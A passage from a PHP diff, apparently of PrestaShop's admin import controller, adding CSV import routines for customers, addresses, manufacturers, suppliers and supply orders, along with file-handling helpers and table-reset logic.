attribute_combination table + if ($id_product_attribute_update) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'product_attribute_combination + WHERE id_product_attribute = '.(int)$id_product_attribute); + } + + foreach ($attributes_to_add as $attribute_to_add) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'product_attribute_combination (id_attribute, id_product_attribute) + VALUES ('.(int)$attribute_to_add.','.(int)$id_product_attribute.')'); + } + + StockAvailable::setQuantity($product->id, $id_product_attribute, (int)$info['quantity']); + } + } + + $this->closeCsvFile($handle); + } + + public function customerImport() + { + $customer_exist = false; + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + AdminImportController::setDefaultValues($info); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $customer = new Customer((int)$info['id']); + else + { + if (array_key_exists('id', $info) && (int)$info['id'] && Customer::customerIdExistsStatic((int)$info['id'])) + $customer = new Customer((int)$info['id']); + else + $customer = new Customer(); + } + + if (array_key_exists('id', $info) && (int)$info['id'] && Customer::customerIdExistsStatic((int)$info['id'])) + { + $current_id_customer = $customer->id; + $current_id_shop = $customer->id_shop; + $current_id_shop_group = $customer->id_shop_group; + $customer_exist = true; + $customer_groups = $customer->getGroups(); + $addresses = $customer->getAddresses((int)Configuration::get('PS_LANG_DEFAULT')); + foreach ($customer_groups as $key => $group) + if ($group == $customer->id_default_group) + unset($customer_groups[$key]); + } + + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $customer); + + if ($customer->passwd) + $customer->passwd = Tools::encrypt($customer->passwd); + + $id_shop_list = explode($this->multiple_value_separator, $customer->id_shop); + $customers_shop = array(); + $customers_shop['shared'] = array(); + $default_shop = new Shop((int)Configuration::get('PS_SHOP_DEFAULT')); + if (Shop::isFeatureActive() && $id_shop_list) + { + foreach ($id_shop_list as $id_shop) + { + $shop = new Shop((int)$id_shop); + $group_shop = $shop->getGroup(); + if ($group_shop->share_customer) + { + if (!in_array($group_shop->id, $customers_shop['shared'])) + $customers_shop['shared'][(int)$id_shop] = $group_shop->id; + } + else + $customers_shop[(int)$id_shop] = $group_shop->id; + } + } + else + { + $default_shop = new Shop((int)Configuration::get('PS_SHOP_DEFAULT')); + $default_shop->getGroup(); + $customers_shop[$default_shop->id] = $default_shop->getGroup()->id; + } + + //set temporally for validate field + $customer->id_shop = $default_shop->id; + $customer->id_shop_group = $default_shop->getGroup()->id; + + $res = true; + if (($field_error = $customer->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $customer->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + foreach ($customers_shop as $id_shop => $id_group) + { + if ($id_shop == 'shared') + { + foreach ($id_group as $key => $id) + { + $customer->id_shop = (int)$key; + $customer->id_shop_group = (int)$id; + if ($customer_exist && ($current_id_shop_group == $id || in_array($current_id_shop, ShopGroup::getShopsFromGroup($id)))) + { + $customer->id = $current_id_customer; + $res &= $customer->update(); + } + + else + { + $res &= $customer->add(); + if (isset($customer_groups)) + $customer->addGroups($customer_groups); + if (isset($addresses)) + foreach ($addresses as $address) + { + $address['id_customer'] = $customer->id; + unset($address['country'], $address['state'], $address['state_iso'], $address['id_address'] ); + Db::getInstance()->insert('address', $address); + } + } + } + } + else + { + $customer->id_shop = $id_shop; + $customer->id_shop_group = $id_group; + if ($customer_exist && $id_shop == $current_id_shop) + { + $customer->id = $current_id_customer; + $res &= $customer->update(); + } + else + { + $res &= $customer->add(); + if (isset($customer_groups)) + $customer->addGroups($customer_groups); + if (isset($addresses)) + foreach ($addresses as $address) + { + $address['id_customer'] = $customer->id; + unset($address['country'], $address['state'], $address['state_iso'], $address['id_address']); + Db::getInstance()->insert('address', $address); + } + } + } + } + } + $customer_exist = false; + if (!$res) + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $info['email'], + (isset($info['id']) ? $info['id'] : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + $this->closeCsvFile($handle); + } + + public function addressImport() + { + $this->receiveTab(); + $default_language_id = (int)Configuration::get('PS_LANG_DEFAULT'); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + AdminImportController::setDefaultValues($info); + $address = new Address(); + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $address); + + if (isset($address->country) && is_numeric($address->country)) + { + if (Country::getNameById(Configuration::get('PS_LANG_DEFAULT'), (int)$address->country)) + $address->id_country = (int)$address->country; + } + else if (isset($address->country) && is_string($address->country) && !empty($address->country)) + { + if ($id_country = Country::getIdByName(null, $address->country)) + $address->id_country = (int)$id_country; + else + { + $country = new Country(); + $country->active = 1; + $country->name = AdminImportController::createMultiLangField($address->country); + $country->id_zone = 0; // Default zone for country to create + $country->iso_code = strtoupper(substr($address->country, 0, 2)); // Default iso for country to create + $country->contains_states = 0; // Default value for country to create + $lang_field_error = $country->validateFieldsLang(UNFRIENDLY_ERROR, true); + if (($field_error = $country->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $country->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $country->add()) + $address->id_country = (int)$country->id; + else + { + $this->errors[] = sprintf(Tools::displayError('%s cannot be saved'), $country->name[$default_language_id]); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + + if (isset($address->state) && is_numeric($address->state)) + { + if (State::getNameById((int)$address->state)) + $address->id_state = (int)$address->state; + } + else if (isset($address->state) && is_string($address->state) && !empty($address->state)) + { + if ($id_state = State::getIdByName($address->state)) + $address->id_state = (int)$id_state; + else + { + $state = new State(); + $state->active = 1; + $state->name = $address->state; + $state->id_country = isset($country->id) ? (int)$country->id : 0; + $state->id_zone = 0; // Default zone for state to create + $state->iso_code = strtoupper(substr($address->state, 0, 2)); // Default iso for state to create + $state->tax_behavior = 0; + if (($field_error = $state->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $state->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $state->add()) + $address->id_state = (int)$state->id; + else + { + $this->errors[] = sprintf(Tools::displayError('%s cannot be saved'), $state->name); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + + if (isset($address->customer_email) && !empty($address->customer_email)) + { + if (Validate::isEmail($address->customer_email)) + { + // a customer could exists in different shop + $customer_list = Customer::getCustomersByEmail($address->customer_email); + + if (count($customer_list) == 0) + $this->errors[] = sprintf( + Tools::displayError('%1$s does not exist in database %2$s (ID: %3$s) cannot be saved'), + Db::getInstance()->getMsgError(), + $address->customer_email, + (isset($info['id']) ? $info['id'] : 'null') + ); + } + else + { + $this->errors[] = sprintf(Tools::displayError('"%s": Is not a valid email address'), $address->customer_email); + continue; + } + } + elseif (isset($address->id_customer) && !empty($address->id_customer)) + { + if (Customer::customerIdExistsStatic((int)$address->id_customer)) + { + $customer = new Customer((int)$address->id_customer); + + // a customer could exists in different shop + $customer_list = Customer::getCustomersByEmail($customer->email); + + if (count($customer_list) == 0) + $this->errors[] = sprintf( + Tools::displayError('%1$s does not exist in database %2$s (ID: %3$s) cannot be saved'), + Db::getInstance()->getMsgError(), + $customer->email, + (int)$address->id_customer + ); + } + else + $this->errors[] = sprintf(Tools::displayError('The customer ID n.%d does not exist in the database (ID: %d) cannot be saved'), $address->id_customer); + } + else + { + $customer_list = array(); + $address->id_customer = 0; + } + + if (isset($address->manufacturer) && is_numeric($address->manufacturer) && Manufacturer::manufacturerExists((int)$address->manufacturer)) + $address->id_manufacturer = (int)$address->manufacturer; + else if (isset($address->manufacturer) && is_string($address->manufacturer) && !empty($address->manufacturer)) + { + $manufacturer = new Manufacturer(); + $manufacturer->name = $address->manufacturer; + if (($field_error = $manufacturer->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $manufacturer->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $manufacturer->add()) + $address->id_manufacturer = (int)$manufacturer->id; + else + { + $this->errors[] = Db::getInstance()->getMsgError().' '.sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $manufacturer->name, + (isset($manufacturer->id) ? $manufacturer->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + + if (isset($address->supplier) && is_numeric($address->supplier) && Supplier::supplierExists((int)$address->supplier)) + $address->id_supplier = (int)$address->supplier; + else if (isset($address->supplier) && is_string($address->supplier) && !empty($address->supplier)) + { + $supplier = new Supplier(); + $supplier->name = $address->supplier; + if (($field_error = $supplier->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $supplier->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $supplier->add()) + $address->id_supplier = (int)$supplier->id; + else + { + $this->errors[] = Db::getInstance()->getMsgError().' '.sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $supplier->name, + (isset($supplier->id) ? $supplier->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + + $res = false; + if (($field_error = $address->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $address->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + if (isset($customer_list) && count($customer_list) > 0) + { + $filter_list = array(); + foreach ($customer_list as $customer) + { + if (in_array($customer['id_customer'], $filter_list)) + continue; + + $filter_list[] = $customer['id_customer']; + + unset($address->id); + $address->id_customer = $customer['id_customer']; + $res = $address->add(); + + if (!$res) + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $info['alias'], + (isset($info['id']) ? $info['id'] : 'null') + ); + } + } + else + { + if ($address->id && $address->addressExists($address->id)) + $res = $address->update(); + if (!$res) + $res = $address->add(); + } + } + if (!$res) + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $info['alias'], + (isset($info['id']) ? $info['id'] : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + $this->closeCsvFile($handle); + } + + public function manufacturerImport() + { + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + AdminImportController::setDefaultValues($info); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $manufacturer = new Manufacturer((int)$info['id']); + else + { + if (array_key_exists('id', $info) && (int)$info['id'] && Manufacturer::existsInDatabase((int)$info['id'], 'manufacturer')) + $manufacturer = new Manufacturer((int)$info['id']); + else + $manufacturer = new Manufacturer(); + } + + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $manufacturer); + + $res = false; + if (($field_error = $manufacturer->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $manufacturer->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + if ($manufacturer->id && $manufacturer->manufacturerExists($manufacturer->id)) + $res = $manufacturer->update(); + if (!$res) + $res = $manufacturer->add(); + + if ($res) + { + // Associate supplier to group shop + if (Shop::isFeatureActive() && $manufacturer->shop) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'manufacturer_shop + WHERE id_manufacturer = '.(int)$manufacturer->id + ); + $manufacturer->shop = explode($this->multiple_value_separator, $manufacturer->shop); + $shops = array(); + foreach ($manufacturer->shop as $shop) + { + $shop = trim($shop); + if (!is_numeric($shop)) + $shop = ShopGroup::getIdByName($shop); + $shops[] = $shop; + } + $manufacturer->associateTo($shops); + } + } + } + + if (!$res) + { + $this->errors[] = Db::getInstance()->getMsgError().' '.sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + (isset($info['name']) ? Tools::safeOutput($info['name']) : 'No Name'), + (isset($info['id']) ? Tools::safeOutput($info['id']) : 'No ID') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + $this->closeCsvFile($handle); + } + + public function supplierImport() + { + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + AdminImportController::setDefaultValues($info); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $supplier = new Supplier((int)$info['id']); + else + { + if (array_key_exists('id', $info) && (int)$info['id'] && Supplier::existsInDatabase((int)$info['id'], 'supplier')) + $supplier = new Supplier((int)$info['id']); + else + $supplier = new Supplier(); + } + + + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $supplier); + if (($field_error = $supplier->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $supplier->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + $res = false; + if ($supplier->id && $supplier->supplierExists($supplier->id)) + $res = $supplier->update(); + if (!$res) + $res = $supplier->add(); + + if (!$res) + $this->errors[] = Db::getInstance()->getMsgError().' '.sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + (isset($info['name']) ? Tools::safeOutput($info['name']) : 'No Name'), + (isset($info['id']) ? Tools::safeOutput($info['id']) : 'No ID') + ); + else + { + // Associate supplier to group shop + if (Shop::isFeatureActive() && $supplier->shop) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'supplier_shop + WHERE id_supplier = '.(int)$supplier->id + ); + $supplier->shop = explode($this->multiple_value_separator, $supplier->shop); + $shops = array(); + foreach ($supplier->shop as $shop) + { + $shop = trim($shop); + if (!is_numeric($shop)) + $shop = ShopGroup::getIdByName($shop); + $shops[] = $shop; + } + $supplier->associateTo($shops); + } + } + } + else + { + $this->errors[] = $this->l('Supplier is invalid').' ('.$supplier->name.')'; + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''); + } + } + $this->closeCsvFile($handle); + } + + /** + * @since 1.5.0 + */ + public function supplyOrdersImport() + { + // opens CSV & sets locale + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + + // main loop, for each supply orders to import + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); ++$current_line) + { + // if convert requested + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + // sets default values if needed + AdminImportController::setDefaultValues($info); + + // if an id is set, instanciates a supply order with this id if possible + if (array_key_exists('id', $info) && (int)$info['id'] && SupplyOrder::exists((int)$info['id'])) + $supply_order = new SupplyOrder((int)$info['id']); + // if a reference is set, instanciates a supply order with this reference if possible + else if (array_key_exists('reference', $info) && $info['reference'] && SupplyOrder::exists(pSQL($info['reference']))) + $supply_order = SupplyOrder::getSupplyOrderByReference(pSQL($info['reference'])); + else // new supply order + $supply_order = new SupplyOrder(); + + // gets parameters + $id_supplier = (int)$info['id_supplier']; + $id_lang = (int)$info['id_lang']; + $id_warehouse = (int)$info['id_warehouse']; + $id_currency = (int)$info['id_currency']; + $reference = pSQL($info['reference']); + $date_delivery_expected = pSQL($info['date_delivery_expected']); + $discount_rate = (float)$info['discount_rate']; + $is_template = (bool)$info['is_template']; + + // checks parameters + if (!Supplier::supplierExists($id_supplier)) + $this->errors[] = sprintf($this->l('Supplier ID (%d) is not valid (at line %d).'), $id_supplier, $current_line + 1); + if (!Language::getLanguage($id_lang)) + $this->errors[] = sprintf($this->l('Lang ID (%d) is not valid (at line %d).'), $id_lang, $current_line + 1); + if (!Warehouse::exists($id_warehouse)) + $this->errors[] = sprintf($this->l('Warehouse ID (%d) is not valid (at line %d).'), $id_warehouse, $current_line + 1); + if (!Currency::getCurrency($id_currency)) + $this->errors[] = sprintf($this->l('Currency ID (%d) is not valid (at line %d).'), $id_currency, $current_line + 1); + if (empty($supply_order->reference) && SupplyOrder::exists($reference)) + $this->errors[] = sprintf($this->l('Reference (%s) already exists (at line %d).'), $reference, $current_line + 1); + if (!empty($supply_order->reference) && ($supply_order->reference != $reference && SupplyOrder::exists($reference))) + $this->errors[] = sprintf($this->l('Reference (%s) already exists (at line %d).'), $reference, $current_line + 1); + if (!Validate::isDateFormat($date_delivery_expected)) + $this->errors[] = sprintf($this->l('Date (%s) is not valid (at line %d). Format: %s.'), $date_delivery_expected, + $current_line + 1, $this->l('YYYY-MM-DD')); + else if (new DateTime($date_delivery_expected) <= new DateTime('yesterday')) + $this->errors[] = sprintf($this->l('Date (%s) cannot be in the past (at line %d). Format: %s.'), $date_delivery_expected, + $current_line + 1, $this->l('YYYY-MM-DD')); + if ($discount_rate < 0 || $discount_rate > 100) + $this->errors[] = sprintf($this->l('Discount rate (%d) is not valid (at line %d). %s.'), $discount_rate, + $current_line + 1, $this->l('Format: Between 0 and 100')); + if ($supply_order->id > 0 && !$supply_order->isEditable()) + $this->errors[] = sprintf($this->l('Supply Order (%d) is not editable (at line %d).'), $supply_order->id, $current_line + 1); + + // if no errors, sets supply order + if (empty($this->errors)) + { + // adds parameters + $info['id_ref_currency'] = (int)Currency::getDefaultCurrency()->id; + $info['supplier_name'] = pSQL(Supplier::getNameById($id_supplier)); + if ($supply_order->id > 0) + { + $info['id_supply_order_state'] = (int)$supply_order->id_supply_order_state; + $info['id'] = (int)$supply_order->id; + } + else + $info['id_supply_order_state'] = 1; + + // sets parameters + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $supply_order); + + // updatesd($supply_order); + $res = true; + if ($supply_order->id > 0) + $res &= $supply_order->update(); + else + $res &= $supply_order->add(); + + // errors + if (!$res) + $this->errors[] = sprintf($this->l('Supply Order could not be saved (at line %d).'), $current_line + 1); + } + } + + // closes + $this->closeCsvFile($handle); + } + + public function supplyOrdersDetailsImport() + { + // opens CSV & sets locale + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + + $products = array(); + $reset = true; + // main loop, for each supply orders details to import + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); ++$current_line) + { + // if convert requested + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + // sets default values if needed + AdminImportController::setDefaultValues($info); + + // gets the supply order + if (array_key_exists('supply_order_reference', $info) && pSQL($info['supply_order_reference']) && SupplyOrder::exists(pSQL($info['supply_order_reference']))) + $supply_order = SupplyOrder::getSupplyOrderByReference(pSQL($info['supply_order_reference'])); + else + $this->errors[] = sprintf($this->l('Supply Order (%s) could not be loaded (at line %d).'), (int)$info['supply_order_reference'], $current_line + 1); + + if (empty($this->errors)) + { + // sets parameters + $id_product = (int)$info['id_product']; + if (!$info['id_product_attribute']) + $info['id_product_attribute'] = 0; + $id_product_attribute = (int)$info['id_product_attribute']; + $unit_price_te = (float)$info['unit_price_te']; + $quantity_expected = (int)$info['quantity_expected']; + $discount_rate = (float)$info['discount_rate']; + $tax_rate = (float)$info['tax_rate']; + + // checks if one product is there only once + if (isset($product['id_product'])) + { + if ($product['id_product'] == $id_product_attribute) + $this->errors[] = sprintf($this->l('Product (%d/%D) cannot be added twice (at line %d).'), $id_product, + $id_product_attribute, $current_line + 1); + else + $product['id_product'] = $id_product_attribute; + } + else + $product['id_product'] = 0; + + // checks parameters + if (false === ($supplier_reference = ProductSupplier::getProductSupplierReference($id_product, $id_product_attribute, $supply_order->id_supplier))) + $this->errors[] = sprintf($this->l('Product (%d/%d) is not available for this order (at line %d).'), $id_product, + $id_product_attribute, $current_line + 1); + if ($unit_price_te < 0) + $this->errors[] = sprintf($this->l('Unit Price (tax excl.) (%d) is not valid (at line %d).'), $unit_price_te, $current_line + 1); + if ($quantity_expected < 0) + $this->errors[] = sprintf($this->l('Quantity Expected (%d) is not valid (at line %d).'), $quantity_expected, $current_line + 1); + if ($discount_rate < 0 || $discount_rate > 100) + $this->errors[] = sprintf($this->l('Discount rate (%d) is not valid (at line %d). %s.'), $discount_rate, + $current_line + 1, $this->l('Format: Between 0 and 100')); + if ($tax_rate < 0 || $tax_rate > 100) + $this->errors[] = sprintf($this->l('Quantity Expected (%d) is not valid (at line %d).'), $tax_rate, + $current_line + 1, $this->l('Format: Between 0 and 100')); + + // if no errors, sets supply order details + if (empty($this->errors)) + { + // resets order if needed + if ($reset) + { + $supply_order->resetProducts(); + $reset = false; + } + + // creates new product + $supply_order_detail = new SupplyOrderDetail(); + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $supply_order_detail); + + // sets parameters + $supply_order_detail->id_supply_order = $supply_order->id; + $currency = new Currency($supply_order->id_ref_currency); + $supply_order_detail->id_currency = $currency->id; + $supply_order_detail->exchange_rate = $currency->conversion_rate; + $supply_order_detail->supplier_reference = $supplier_reference; + $supply_order_detail->name = Product::getProductName($id_product, $id_product_attribute, $supply_order->id_lang); + + // gets ean13 / ref / upc + $query = new DbQuery(); + $query->select(' + IFNULL(pa.reference, IFNULL(p.reference, \'\')) as reference, + IFNULL(pa.ean13, IFNULL(p.ean13, \'\')) as ean13, + IFNULL(pa.upc, IFNULL(p.upc, \'\')) as upc + '); + $query->from('product', 'p'); + $query->leftJoin('product_attribute', 'pa', 'pa.id_product = p.id_product AND id_product_attribute = '.(int)$id_product_attribute); + $query->where('p.id_product = '.(int)$id_product); + $query->where('p.is_virtual = 0 AND p.cache_is_pack = 0'); + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + $product_infos = $res['0']; + + $supply_order_detail->reference = $product_infos['reference']; + $supply_order_detail->ean13 = $product_infos['ean13']; + $supply_order_detail->upc = $product_infos['upc']; + + $supply_order_detail->add(); + $supply_order->update(); + unset($supply_order_detail); + + } + } + } + + // closes + $this->closeCsvFile($handle); + } + + public function utf8EncodeArray($array) + { + return (is_array($array) ? array_map('utf8_encode', $array) : utf8_encode($array)); + } + + protected function getNbrColumn($handle, $glue) + { + $tmp = fgetcsv($handle, MAX_LINE_SIZE, $glue); + AdminImportController::rewindBomAware($handle); + return count($tmp); + } + + protected static function usortFiles($a, $b) + { + $a = strrev(substr(strrev($a), 0, 14)); + $b = strrev(substr(strrev($b), 0, 14)); + + if ($a == $b) + return 0; + + return ($a < $b) ? 1 : -1; + } + + protected function openCsvFile() + { + $handle = fopen(_PS_ADMIN_DIR_.'/import/'.strval(preg_replace('/\.{2,}/', '.', Tools::getValue('csv'))), 'r'); + + if (!$handle) + $this->errors[] = Tools::displayError('Cannot read the .CSV file'); + + AdminImportController::rewindBomAware($handle); + + for ($i = 0; $i < (int)Tools::getValue('skip'); ++$i) + $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); + return $handle; + } + + protected function closeCsvFile($handle) + { + fclose($handle); + } + + protected function truncateTables($case) + { + switch ((int)$case) + { + case $this->entities[$this->l('Categories')]: + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'category` + WHERE id_category NOT IN ('.(int)Configuration::get('PS_HOME_CATEGORY'). + ', '.(int)Configuration::get('PS_ROOT_CATEGORY').')'); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'category_lang` + WHERE id_category NOT IN ('.(int)Configuration::get('PS_HOME_CATEGORY'). + ', '.(int)Configuration::get('PS_ROOT_CATEGORY').')'); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'category_shop` + WHERE `id_category` NOT IN ('.(int)Configuration::get('PS_HOME_CATEGORY'). + ', '.(int)Configuration::get('PS_ROOT_CATEGORY').')'); + Db::getInstance()->execute('ALTER TABLE `'._DB_PREFIX_.'category` AUTO_INCREMENT = 3'); + foreach (scandir(_PS_CAT_IMG_DIR_) as $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_CAT_IMG_DIR_.$d); + break; + case $this->entities[$this->l('Products')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_shop'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'feature_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'category_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_tag'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'image'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'image_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'image_shop'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'specific_price'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'specific_price_priority'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_carrier'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'cart_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'compare_product'); + if (count(Db::getInstance()->executeS('SHOW TABLES LIKE \''._DB_PREFIX_.'favorite_product\' '))) //check if table exist + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'favorite_product'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attachment'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_country_tax'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_download'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_group_reduction_cache'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_sale'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_supplier'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'scene_products'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'warehouse_product_location'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'stock'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'stock_available'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'stock_mvt'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customization'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customization_field'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supply_order_detail'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_impact'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_shop`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_combination`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_image`'); + Image::deleteAllImages(_PS_PROD_IMG_DIR_); + if (!file_exists(_PS_PROD_IMG_DIR_)) + mkdir(_PS_PROD_IMG_DIR_); + break; + case $this->entities[$this->l('Combinations')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_impact'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_lang`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_group`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_group_lang`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_group_shop`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'attribute_shop`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_shop`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_combination`'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'product_attribute_image`'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'stock_available` WHERE id_product_attribute !=0'); + break; + case $this->entities[$this->l('Customers')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'customer'); + break; + case $this->entities[$this->l('Addresses')]: + Db::getInstance()->execute('TRUNCATE TABLE 